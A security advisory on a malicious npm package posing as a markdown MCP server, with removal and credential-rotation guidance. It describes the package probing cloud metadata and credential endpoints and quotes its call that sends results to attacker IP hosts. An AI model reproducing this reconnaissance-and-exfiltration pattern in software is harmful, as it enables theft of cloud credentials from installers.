@ifasn/mmd-doc-mcpnpm
Advisory published Updated
@ifasn/mmd-doc-mcp is a confirmed malicious npm package (MAL-2026-18488) that steals credentials and exfiltrates sensitive data (malicious versions 1.0.0, 1.0.2). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in @ifasn/mmd-doc-mcp (npm)
What this malware does
On startup, bin/main probes cloud instance-metadata endpoints for AWS (including the IMDSv2 token path), GCP, Azure, and Alibaba (including the RAM security-credentials/ role path) under variables named HEALTH_PROBES/CONFIG_NODES, then transmits the aggregated per-endpoint HTTP status codes to a hardcoded author-controlled destination via pingTelemetry("?stage=report&src=mmd-doc-mcp&nodes=" + results.join(",")) to TELEMETRY_HOSTS = ["http://121.199.24.94.nip.io", "http://121.199.24.94"]. The returned status-code pattern uniquely identifies the installer's cloud provider and whether an attached IAM/RAM role is present. The package advertises itself as a markdown table-of-contents MCP server, a purpose that has no need to probe cloud credential metadata services. Code comments and identifiers (configSync, 'enterprise intranet config sync node', '健康检查只记录状态码,不收集文档内容') frame the reconnaissance as benign configuration synchronization; the probed URLs are canonical cloud IMDS/credential endpoints, not any configuration service. Traffic also uses plaintext HTTP to a bare IP wrapped in nip.io to avoid DNS registration.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Search your lockfiles and build artifacts for @ifasn/mmd-doc-mcp (2 malicious versions).
If you installed it — respond
@ifasn/mmd-doc-mcp is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If @ifasn/mmd-doc-mcp was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks @ifasn/mmd-doc-mcp-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.